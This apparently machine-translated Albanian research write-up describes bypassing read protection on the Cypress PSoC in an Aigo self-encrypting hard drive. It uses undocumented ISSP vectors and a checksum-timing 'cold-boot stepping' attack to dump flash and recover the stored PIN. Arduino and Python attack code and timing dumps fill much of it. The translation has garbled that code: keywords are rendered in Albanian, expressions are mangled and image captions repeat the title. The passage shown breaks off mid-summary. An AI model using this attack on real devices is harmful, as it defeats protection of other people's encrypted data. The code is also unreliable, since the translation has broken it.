Rivendosja dhe hackimi i HDD jashtëzakonshëm me vetë-enkriptim Aigo. Pjesa 2: Marrim një dump nga Cypress PSoC

Ky është pjesa e dytë dhe përfundimtare e artikullit mbi thyerjen e disqeve të jashtëm që enkriptohen vetë. Ju rikujtoj se së fundmi, një koleg më solli një disk të fortë Patriot (Aigo) SK8671, dhe vendosa ta rrokullis, tani po ndaj me ju se çfarë rezultati arrita. Para se të vazhdoni, sigurohuni që të lexoni pjesën e parë artikuj.

4. Fillojmë të heqim dump-in nga flash-i i brendshëm PSoC
5. Protokolli ISSP
– 5.1. ÇfarĂ« Ă«shtĂ« ISSP
– 5.2. Demistifikimi i vektorĂ«ve
– 5.3. Komunikimi me PSoC
– 5.4. Identifikimi i regjistrave brenda çipave
– 5.5. Bitsat mbrojtĂ«se
6. Sulmi i parë (i pasuksesshëm): ROMX
7. Sulmi i dytë: gjurmimi me rinegji të ftohtë
– 7.1. Zbatimi
– 7.2. Leximi i rezultatit
– 7.3. RindĂ«rtimi i flash-bin
– 7.4. Gjetja e adresĂ«s sĂ« ruajtjes sĂ« PIN-it
– 7.5. Heqja e dump-it tĂ« bllokut nr. 126
– 7.6. Rikthimi i PIN-it
8. ÇfarĂ« ndodh mĂ« pas?
9. Përfundimi

Rivendosja dhe hackimi i HDD jashtëzakonshëm me vetë-enkriptim Aigo. Pjesa 2: Marrim një dump nga Cypress PSoC


4. Fillojmë të heqim dump-in nga flash-i i brendshëm PSoC

Pra, gjithçka tregon se (siç e vendosëm në [pjesën e parë]()), PIN-i ruhet në thellësitë e flash-it të PSoC. Prandaj, ne duhet të lexojmë këto thellësi të flash-it. Fronti i punëve të nevojshme:

  • tĂ« marrim kontrollin e "komunikimit" me mikroprocesorin;
  • tĂ« gjejmĂ« njĂ« mĂ«nyrĂ« pĂ«r tĂ« verifikuar nĂ«se ky "komunikim" Ă«shtĂ« i mbrojtur nga leximi nga jashtĂ«;
  • tĂ« gjejmĂ« njĂ« mĂ«nyrĂ« pĂ«r tĂ« anashkaluar mbrojtjen.

Ka dy vende ku ka kuptim të kërkosh PIN-in aktiv:

  • memoria e brendshme;
  • SRAM, ku PIN-i mund tĂ« ruhet pĂ«r ta krahasuar me PIN-in qĂ« fut pĂ«rdoruesi.

Duke u shpejguar, vĂ«rej se munda gjithsesi tĂ« heq dump-in nga flash-i i brendshĂ«m PSoC, – duke anashkaluar sistemin e saj tĂ« mbrojtjes me njĂ« sulm harduerik "gjurmimi me rinegji tĂ« ftohtĂ«" – pas rrokullisjes sĂ« mundĂ«sive tĂ« padokumentuara tĂ« protokollit ISSP. Kjo mĂ« lejoi tĂ« heq dump-in e PIN-it aktiv direkt.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Kodi përfundimtar i programit:

5. Protokolli ISSP

5.1. ÇfarĂ« Ă«shtĂ« ISSP

"Komunikimi" me mikroprocesorin mund të nënkuptojë gjëra të ndryshme: nga "prodhuesi te prodhuesi", deri në ndërveprimin me përdorimin e një protokolli serial (p.sh., ICSP për PIC të Microchip-it).

Për Cypress, ata kanë një protokoll të tyre të pronarit, të quajtur ISSP (in-system serial programming protocol; protokolli i programimit serial në sistem), i cili është pjesërisht i përshkruar në specifikimin teknik. Patentimi US7185162 po ashtu ofron disa informacion. Ka gjithashtu një alternativë OpenSource, e quajtur HSSP (ne do ta përdorim më vonë). ISSP funksionon në këtë mënyrë:

  • rinstaloni PSoC;
  • nxehni numrin magjik nĂ« kĂ«mbĂ«n e tĂ« dhĂ«nave tĂ« kĂ«saj PSoC; pĂ«r tĂ« hyrĂ« nĂ« modin e programimit tĂ« jashtĂ«m;
  • dĂ«rgoni urdhra, tĂ« cilat pĂ«rbĂ«jnĂ« stringje tĂ« gjata bitĂ«sh, tĂ« quajtur "vektorĂ«".

Në dokumentacionin për ISSP këta vektorë janë të përcaktuar vetëm për një përzgjedhje të vogël urdhërash:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (opsionet 3V dhe 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, ku dddddddd=numri i bllokut
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, ku DDDDDDDD = tĂ« dhĂ«nat jashtĂ«, aaaaaa = adresa (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, ku dddddddd = tĂ« dhĂ«nat brenda, aaaaaa = adresa (6 bit)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ku DDDDDDDDDDDDDDDD = tĂ« dhĂ«nat jashtĂ«: kontrola e sumĂ«s sĂ« pajisjes
  • ERASE BLOCK

Për shembull, vektori për Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Të gjithë vektorët kanë të njëjtën gjatësi: 22 bit. Në dokumentacionin për HSSP ka disa informacione shtesë mbi ISSP: "vektori ISSP nuk është gjë tjetër veçse një sekuencë bitësh që përfaqëson një grup udhëzimesh".

5.2. Demistifikimi i vektorëve

Le të shohim se çfarë ndodh këtu. Fillimisht, unë supozova se këta vektorë përbëjnë variantet raw të instruksioneve M8C, megjithatë, duke e verifikuar këtë hipotezë, zbulova se kodet operacionale nuk përputhen.

Pastaj e kĂ«rkova vektorin e mĂ«sipĂ«rm dhe pĂ«rfundova nĂ« kĂ«tĂ« studim, ku autori, megjithĂ«se nuk shkon nĂ« detaje, jep disa kĂ«shilla tĂ« vlefshme: "Çdo instruktion fillon me tri bit, tĂ« cilat iu pĂ«rkasin njĂ« prej katĂ«r mnemonikĂ«ve (lexo nga RAM, shkruaj nĂ« RAM, lexoni regjistrin, shkruaj regjistrin). Pastaj vjen njĂ« adresĂ« 8-bit, pas sĂ« cilĂ«s 8 bit tĂ« dhĂ«nash (tĂ« lexuara ose pĂ«r tĂ« shkruar) dhe pĂ«rfundimisht tre bit stopi."

MĂ« pas, arrita tĂ« nxjerr informacione shumĂ« tĂ« dobishme nga seksioni "Supervisory ROM (SROM)" i manualit teknik. SROM Ă«shtĂ« njĂ« ROM e koduar fortĂ«, nĂ« PSoC, e cila ofron funksione shĂ«rbimi (nĂ« njĂ« tĂ« ngjashme me Syscall), – pĂ«r kodin programor, i cili ekzekutohet nĂ« hapĂ«sirĂ«n e pĂ«rdoruesit:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Duke krahasuar emrat e vektorëve me funksionet SROM, mund të lidhim operacione të ndryshme të mbështetura nga ky protokoll me parametrat e pritura SROM. Falë kësaj, mund të dekodojmë tre bitët e parë të vektorëve ISSP:

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Megjithatë, një kuptim i plotë i proceseve brenda çipit mund të arrihet vetëm nëpërmjet komunikimit të drejtpërdrejtë me PSoC.

5.3. Komunikimi me PSoC

Për shkak se Dirk Petrautsky ka qenë tashmë portova Kodi HSSP i Cypress në Arduino, përdora Arduino Uno për t'u lidhur me prizën ISSP të tastierës.

Kujdes, gjatë hulumtimeve të mia, kam ndryshuar ndjeshëm kodin e Dirkut. Modifikimin tim mund ta gjeni në GitHub: këtu dhe skenarin përkatës në Python për komunikim me Arduino, në depozitat e mia cypress_psoc_tools.

Pra, duke përdorur Arduino, fillimisht përdora vetëm vektorë 'zyrtarë' për 'komunikim'. Pata një përpjekje për të lexuar ROM-in e brendshëm, duke përdorur komandën VERIFY. Siç pritej, nuk pata sukses. Mbase për shkak se brenda fleshit ishin aktivizuar bllokimet e mbrojtjes nga leximi.

Pastaj krijova disa vektorë të thjeshtë për të shkruar dhe lexuar memorie/regjistra. Vini re se mund të lexojmë tërë SROM-in, edhe pse fleshi është i mbrojtur!

5.4. Identifikimi i regjistrave brenda çipit

Duke parë vektorët e 'disasembluar', zbulova se pajisja përdor regjistra të pa dokumentuar (0xF8-0xFA), për të treguar opcode të M8C, të cilët ekzekutohen drejtpërdrejt, duke anashkaluar mbrojtjen. Kjo më lejon të ekzekutoj opcode të ndryshme, si 'ADD', 'MOV A, X', 'PUSH' ose 'JMP'. Falë tyre (duke parë efektet anësore që kanë mbi regjistrat) arrita të përcaktoj se cilët nga regjistrat e pa dokumentuar janë në fakt regjistra të zakonshëm (A, X, SP dhe PC).

Si rezultat, kodi 'disasembluar' i gjeneruar nga mjeti HSSP_disas.rb, duket kështu (për qartësi kam shtuar komente):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # reset flags
[DE C0 1C] wrreg SP (f6), 0x00      # reset SP
[9F 07 5C] wrmem KEY1, 0x3A     # mandatory argument for SSC
[9F 20 7C] wrmem KEY2, 0x03     # similarly
[DE A0 1C] wrreg PCh (f5), 0x00     # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... until 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06       # number "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Undocumented operation: execute external opcode

5.5. Bllokimet e mbrojtjes

Në këtë fazë unë mund të komunikoja me PSoC, por ende nuk kam informacione të sakta për bllokimet e mbrojtjes së flash-it. Ishte shumë befasuese për mua që Cypress nuk i ofron përdoruesit asnjë mjet për të verifikuar nëse mbrojtja është aktivizuar. Kam kërkuar në Google për të kuptuar se kodi HSSP, i ofruar nga Cypress-i, u përditësua pas lëshimit të modifikimit nga Dirk. Dhe ja! U shfaq një vektor i ri:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argumente të panjohura
[9F E0 1C] wrmem 0xFF, 0x00 # po ashtu
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # syscall i pakëputur!
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Duke përdorur këtë vektor (shih read_security_data në psoc.py), ne marrim të gjitha bllokimet e mbrojtjes në SRAM në 0x80, ku për secilin bllok të mbrojtur ka dy bllokime.

Rezultati Ă«shtĂ« dĂ«shpĂ«rues: gjithçka Ă«shtĂ« e mbrojtur nĂ« mode "ndaloni leximin dhe shkrimin e jashtĂ«m". Prandaj ne nuk mund tĂ« lexojmĂ« asgjĂ« nga flash-i, as tĂ« shkruajmĂ« (pĂ«r shembull, pĂ«r tĂ« nxjerrĂ« njĂ« ROM-damper). Dhe mĂ«nyra e vetme pĂ«r tĂ« çaktivizuar mbrojtjen Ă«shtĂ« tĂ« fshihni plotĂ«sisht tĂ« gjithĂ« çipin. 🙁

6. Sulmi i parë (i pasuksesshëm): ROMX

Megjithatë, mund të provojmë të bëjmë këtë trik: pasi kemi mundësinë të ekzekutojmë opkoda të rastit, pse të mos ekzekutojmë ROMX, e cila përdoret për të lexuar kujtesën flash? Ky qasje ka disa shanse për sukses. Sepse funksioni ReadBlock, i cili lexon të dhënat nga SROM (i cili përdoret nga vektorët), kontrollon nëse po thirret nga ISSP. Megjithatë, opkodi ROMX, ndoshta, nuk ka një kontroll të tillë. Kështu, ja kodi Python (pas shtimit të disa klasave ndihmëse në kodin Arduino C):

për i në gamën (0, 8192):
 write_reg(0xF0, i>>8) # A = 0
 write_reg(0xF3, i&0xFF) # X = 0
 exec_opcodes("x28x30x40") # ROMX, HALT, NOP
 byte = read_reg(0xF0) # ROMX lexon ROM[A|X] në A
 print "x" % ord(byte[0]) # printo ROM byte

FatkeqĂ«sisht, ky kod nuk funksionon. 🙁 NĂ« tĂ« vĂ«rtetĂ« funksionon, por nĂ« dalje marrim opkodet tona tĂ« veta (0x28 0x30 0x40)! Nuk mendoj se funksionaliteti pĂ«rkatĂ«s i pajisjes Ă«shtĂ« njĂ« element mbrojtjeje nga leximi. Ky duket mĂ« shumĂ« si njĂ« trik inxhinierik: gjatĂ« ekzekutimit tĂ« opkodeve ekstere, autobusi i ROM-it ridrejtiohet nĂ« njĂ« mĂ«kĂ«mbĂ«s tĂ« pĂ«rkohshĂ«m.

7. Sulmi i dytë: gjurmimi me rinegji të ftohtë

Pasi triku me ROMX nuk funksionoi, fillova tĂ« mendoj njĂ« variacion tjetĂ«r tĂ« kĂ«tij triku – tĂ« pĂ«rshkruar nĂ« publikimin «Shedding too much Light on a Microcontroller’s Firmware Protection».

7.1. Implementimi

Në dokumentacionin e ISSP është dhënë vektori i mëposhtëm për CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Këtu në thelb bëhet thirrje në funksionin SROM 0x07, siç është paraqitur në dokumentacion (theksimi im):

Ky funksion kontrollon checksum-in. Ai llogarit njĂ« checksum 16-bit tĂ« numrit tĂ« blloqeve tĂ« pĂ«rcaktuara nga pĂ«rdoruesi – nĂ« njĂ« bankĂ« flash, duke filluar nga zero. Parametri BLOCKID pĂ«rdoret pĂ«r tĂ« kaluar numrin e blloqeve qĂ« do tĂ« pĂ«rdoren pĂ«r llogaritjen e checksum-it. Vlera «1» do tĂ« llogarisĂ« checksum-in vetĂ«m pĂ«r bllokun zero; ndĂ«rsa «0» do tĂ« çojĂ« nĂ« llogaritjen e checksum-it tĂ« pĂ«rgjithshĂ«m tĂ« tĂ« gjithĂ« 256 blloqeve tĂ« bankĂ«s flash. Çsum-i 16-bit kthehet pĂ«rmes KEY1 dhe KEY2. NĂ« parametrin KEY1 regjistrohen 8 bitĂ«t mĂ« tĂ« vegjĂ«l tĂ« checksum-it, ndĂ«rsa nĂ« KEY2 – 8 bitĂ«t mĂ« tĂ« mĂ«dhenj. PĂ«r pajisjet me disa blloqe flash, funksioni i checksum-it thirret pĂ«r secilin veçmas. Numri i bllokut me tĂ« cilin do tĂ« punojĂ« caktohet nĂ« regjistrin FLS_PR1 (me vendosjen e bitit pĂ«rkatĂ«s pĂ«r bllokun e synuar).

Vini re se kjo është një checksum e thjeshtë: bajtët thjesht mblidhen njëri pas tjetrit; nuk ka trukesh të ndërlikuara CRC. Për më tepër, duke e ditur që në bërthamën M8C grupi i regjistrave është shumë i vogël, unë supozova se gjatë llogaritjes së checksum-it, vlerat ndërmjetëse do të regjistrohen në të njëjtat variabla të cilat në fund do të dalin: KEY1 (0xF8) / KEY2 (0xF9).

Pra, teorikisht sulmi im duket si më poshtë:

  1. Lidhemi përmes ISSP.
  2. Nisim llogaritjen e checksum-it, duke përdorur vektorin CHECKSUM-SETUP.
  3. Rivendosim procesorin pas një kohe të caktuar T.
  4. Lexojmë RAM-in për të marrë checksum-in aktual C.
  5. Përsërisim hapat 3 dhe 4, çdo herë paksa duke rritur T.
  6. Rikuperojmë të dhënat nga flashi, duke zbritur checksum-in e mëparshëm C nga ai aktual.

Megjithatë, ndodhi një problem: vektori Initialize-1, që ne duhet të dërgojmë pas rivendosjes, ri-shkruan KEY1 dhe KEY2:

1100101000000000000000  # Magjia që e kalon PSoC në modin e programimit
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # checksum-i ri-shkruhet këtu
[9F 20 7C] wrmem KEY2, 0x03 # dhe këtu
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # Funksioni SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ky kod mbulon checksum-in tonĂ« tĂ« çmuar, duke thirrur Calibrate1 (funksioni SROM 9)
 Ndoshta do tĂ« arrijmĂ«, thjesht duke dĂ«rguar numrin magjik (nga fillimi i kodit tĂ« mĂ«sipĂ«rm), tĂ« hyjmĂ« nĂ« modin e programimit, dhe pastaj tĂ« lexojmĂ« SRAM-in? Dhe po, funksionon! Kodi Arduino qĂ« realizon kĂ«tĂ« sulm Ă«shtĂ« mjaft i thjeshtĂ«:

rast Cmnd_STK_START_CSUM:
 checksum_delay = ((uint32_t)getch())<<24;
 checksum_delay |= ((uint32_t)getch())<<16;
 checksum_delay |= ((uint32_t)getch())< 10000) {
 ms_delay = checksum_delay/1000;
 checksum_delay = checksum_delay00;
 }
 përndryshe {
 ms_delay = 0;
 }
 send_checksum_v();
 nëse(checksum_delay)
 delayMicroseconds(checksum_delay);
 vono(ms_delay);
 start_pmode();

  1. Lexo checkum_delay.
  2. Nis llogaritjen e checksum-it (send_checksum_v).
  3. Të presësh një periudhë të caktuar kohore; duke marrë parasysh pengesat e mëposhtme:
    • kam humbur shumĂ« kohĂ« derisa tĂ« kuptoja se nĂ« fakt delayMicroseconds funksionon saktĂ« vetĂ«m me vonesa qĂ« nuk e kalojnĂ« 16383ÎŒs;
    • dhe pastaj pĂ«rsĂ«ri humba po aq kohĂ« derisa tĂ« zbulova se delayMicroseconds, nĂ«se i jep 0 si hyrje, punon krejtĂ«sisht gabim!
  4. Rifilloni PSoC në modin e programimit (thjesht dërgojmë numrin magjik, pa dërguar vektorët e inicializimit).

Kodi përfundimtar në Python:

për delay në gamën (0, 150000): # vonesë në mikrosekonda
 për i në gamën (0, 10): # numri i leximet për çdo vonesë
 provoni:
 reset_psoc(quiet=True) # ri-bërë dhe hy në modin e programimit
 send_vectors(); # dërgo vectoret inicizuese
 ser.write("x85"+struct.pack(">I", delay)) # llogarit kontrollin e shumës + ri-bërë pas vonesës
 res = ser.read(1); # lexo arduino ACK
 përjashtim si e:
 print e;
 ser.close();
 os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null");
 ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5); # hap portin serial
 vazhdo;
 print "d X X X" % (delay, # lexo RAM-bytes
 read_regb(0xf1),
 read_ramb(0xf8),
 read_ramb(0xf9));

Me dy fjalë, çfarë bën ky kod:

  1. Rifillon PSoC (dhe i dërgon një numër magjik).
  2. Dërgon vektorët e plote të inicializimit.
  3. Thërret funksionin Arduino Cmnd_STK_START_CSUM (0x85), ku si parametër dërgohet vonesa në mikrosekunta.
  4. Lexon kontrollin (0xF8 dhe 0xF9) dhe regjistrin e pa dokumentuar 0xF1.

Ky kod ekzekutohet 10 herë në 1 mikroshekond. 0xF1 është përfshirë këtu, pasi ishte regjistri i vetëm që ndryshonte gjatë llogaritjes së kontrollit. Mund të jetë ndonjë variabël e përkohshme e përdorur nga njësia aritmetiko-logjike. Vini re haku të çuditshëm që unë rifilloj Arduino-n duke përdorur picocom, kur Arduino nuk jep më shenja jete (nuk kam idenë pse).

7.2. Lexoni rezultatin

Rezultati i punës së skriptit Python duket kështu (i thjeshtuar për lehtësinë e lexueshmërisë):

DELAY F1 F8 F9  # F1 – regjistri i panjohur i pĂ«rmendur mĂ« sipĂ«r
                  # F8 bajti më i vogël i kontrolle
                  # F9 bajti më i madh i kontrolle

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # kontrolli i shumës reset në 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # bajti i parë: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # bajti i dytë: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # nuk kam idenë se çfarë po ndodh këtu
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Përsëri E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Ah, e kuptova! Ky është kalimi në bajtin e madh
00063 01 17 01
[...]
00075 CC 17 01  # Kështu që, 0x117-0xE7: 0x30

Kemi njĂ« problem: sepse ne po operojmĂ« me shumĂ«n e kontrollit faktike, bajti zero nuk ndryshon vlerĂ«n e lexuar. MegjithatĂ«, duke qenĂ« se e gjithĂ« procedura e llogaritjes (8192 bajta) zgjat 0,1478 sekonda (me variacione tĂ« vogla nĂ« çdo ekzekutim), e cila Ă«shtĂ« rreth 18,04 mikroshekonda pĂ«r bajt, – ne mund tĂ« pĂ«rdorim kĂ«tĂ« kohĂ« pĂ«r tĂ« kontrolluar vlerĂ«n e shumĂ«s sĂ« kontrollit nĂ« momentet e duhura. NĂ« fillim tĂ« ekzekutimeve, gjithçka lexon mjaft lehtĂ«, sepse koha e realizimit tĂ« procedurĂ«s Ă«shtĂ« pothuajse gjithmonĂ« e njĂ«jtĂ«. MegjithatĂ«, fundi i kĂ«tij dump Ă«shtĂ« mĂ« pak i saktĂ«, sepse "shkallĂ«zime tĂ« parĂ«ndĂ«sishme nĂ« kohĂ«" nĂ« çdo ekzekutim – grumbullohen dhe bĂ«hen tĂ« rĂ«ndĂ«sishme:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Këto janë 10 dump-a për çdo vonesë mikroshekondash. Koha totale për të marrë dump-in e të gjithë 8192 bajtave të flash-it është rreth 48 orë.

7.3. Rindërtimi i binarit të flash-it

Unë akoma nuk e kam përfunduar kodin që rindërton plotësisht kodin programues të flash-it, duke marrë parasysh të gjitha devijimet në kohë. Megjithatë, fillimi i këtij kodi e kam rifilluar. Për të siguruar se e kam bërë këtë saktë, unë e kam disasembly-uar atë, duke përdorur m8cdis:

0000: 80 67   jmp  0068h     ; Vektori i rivit
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; ReĆŸimi i faqeve u ndryshim nga 3 nĂ« 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Duket mjaft e besueshme!

7.4. Gjej adresën e ruajtjes së PIN-it

Tani, kur mund të lexojmë kontrollin e shumës në momentet e nevojshme, mund të kontrollojmë se si dhe ku ndryshon, kur ne:

  • shkruajmĂ« njĂ« PIN tĂ« gabuar;
  • ndryshojmĂ« PIN-in.

Fillimisht, për të gjetur adresën e afërt, kam nxjerrë një dump të kontrollit të shumës me një hapje prej 10 ms, pas rinisjes. Pastaj kam futur një PIN të gabuar dhe kam bërë të njëjtën gjë.

Rezultati doli jo shumĂ« i kĂ«ndshĂ«m, pasi kishte shumĂ« ndryshime. Por nĂ« fund arrita tĂ« kuptoj se kontrolli i shumĂ«s ishte ndryshuar diku nĂ« mes 120000 ÎŒs dhe 140000 ÎŒs vonesĂ«. Por "PIN-i", qĂ« aty e kam zbuluar, ishte krejtĂ«sisht i gabuar – pĂ«r shkak tĂ« artefaktit tĂ« procedurĂ«s delayMicroseconds, e cila bĂ«n gjĂ«ra tĂ« paqarta kur i jepet 0.

Pastaj, pas gati 3 orësh, më erdhi në mendje se thirrja sistemore e SROM-it CheckSum merr si argument numrin e blloqeve për kontrollin e shumës! Pra, mund të lokalizojmë lehtësisht adresën e ruajtjes së PIN-it dhe numëruesit të "përpjekjeve të gabuara", me saktësi deri në bllokun 64-bis.

Provat e mia të para dhanë këtë rezultat:

Rivendosja dhe hackimi i HDD jashtëzakonshëm me vetë-enkriptim Aigo. Pjesa 2: Marrim një dump nga Cypress PSoC

Pastaj e ndryshova PIN-in nga "123456" në "1234567" dhe mora:

Rivendosja dhe hackimi i HDD jashtëzakonshëm me vetë-enkriptim Aigo. Pjesa 2: Marrim një dump nga Cypress PSoC

Prandaj, PIN-i dhe numëruesi i përpjekjeve të gabuara, duket se ruhen në bllokun e numrit 126.

7.5. Nxjerrja e dump-it të bllokut nr. 126

Blloku nr. 126 duhet tĂ« ndodhet diku rreth 125x64x18 = 144000ÎŒs, nga fillimi i llogaritjes sĂ« kontrollit tĂ« shumĂ«s, nĂ« dump-in tim tĂ« plotĂ«, dhe duket mjaft besueshĂ«m. Pastaj, pas filtrimit manual tĂ« shumicĂ«s sĂ« dump-eve tĂ« gabuara (pĂ«r shkak tĂ« grumbullimit tĂ« "shkallave tĂ« papĂ«rfillshme tĂ« vonesĂ«s"), pĂ«rfundimisht kam marrĂ« kĂ«to bajta (me njĂ« vonesĂ« prej 145527ÎŒs):

Rivendosja dhe hackimi i HDD jashtëzakonshëm me vetë-enkriptim Aigo. Pjesa 2: Marrim një dump nga Cypress PSoC

E është krejtësisht e qartë se pin kodi ruhet në formë të palehtësuar! Këto vlera sigurisht nuk janë regjistruar në kodet ASCII, por siç duket - pasqyrojnë leximet e marra nga tastiera me kapacitet.

Në fund, unë kam kryer disa teste shtesë për të gjetur se ku ruhen numrat e përpjekjeve të gabuara. Këtu është rezultati:

Rivendosja dhe hackimi i HDD jashtëzakonshëm me vetë-enkriptim Aigo. Pjesa 2: Marrim një dump nga Cypress PSoC

0xFF – do tĂ« thotĂ« "15 pĂ«rpjekje", dhe zvogĂ«lohet me çdo pĂ«rpjekje tĂ« gabuar.

7.6. Rindërtimi i pin kodit

Ja kodi im i shëmtuar që mbledh së bashku gjithçka të thënë më lart:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"};
 last_csum = 0;
 pin_bytes = [];
 për delay në gamën (145495, 145719, 16):
 csum = csum_at(delay, 1);
 byte = (csum-last_csum)&0xFF;
 print "d x (x) => x" % (delay, csum, last_csum, byte);
 pin_bytes.append(byte);
 last_csum = csum;
 print "PIN: ",
 për i në gamën (0, len(pin_bytes)):
 nëse pin_bytes[i] në pin_map:
 print pin_map[pin_bytes[i]],
 print

Ja rezultati i ekzekutimit të tij:

$ .\/psoc.py 
syncing: KO OK
Rivendosja e PSoC: KO Rivendosja e PSoC: KO Rivendosja e PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurrah! Funksionon!

Vini re se vlerat e vonesës që kam përdorur, ndoshta janë të sakta për një PSoC të veçantë - atë që kam përdorur unë.

8. ÇfarĂ« ndodh mĂ« pas?

Pra, le të përmbledhim nga ana e PSoC, në kontekstin e memorie tonë Aigo:

  • mund tĂ« lexojmĂ« SRAM, edhe nĂ«se Ă«shtĂ« e mbrojtur nga leximi;
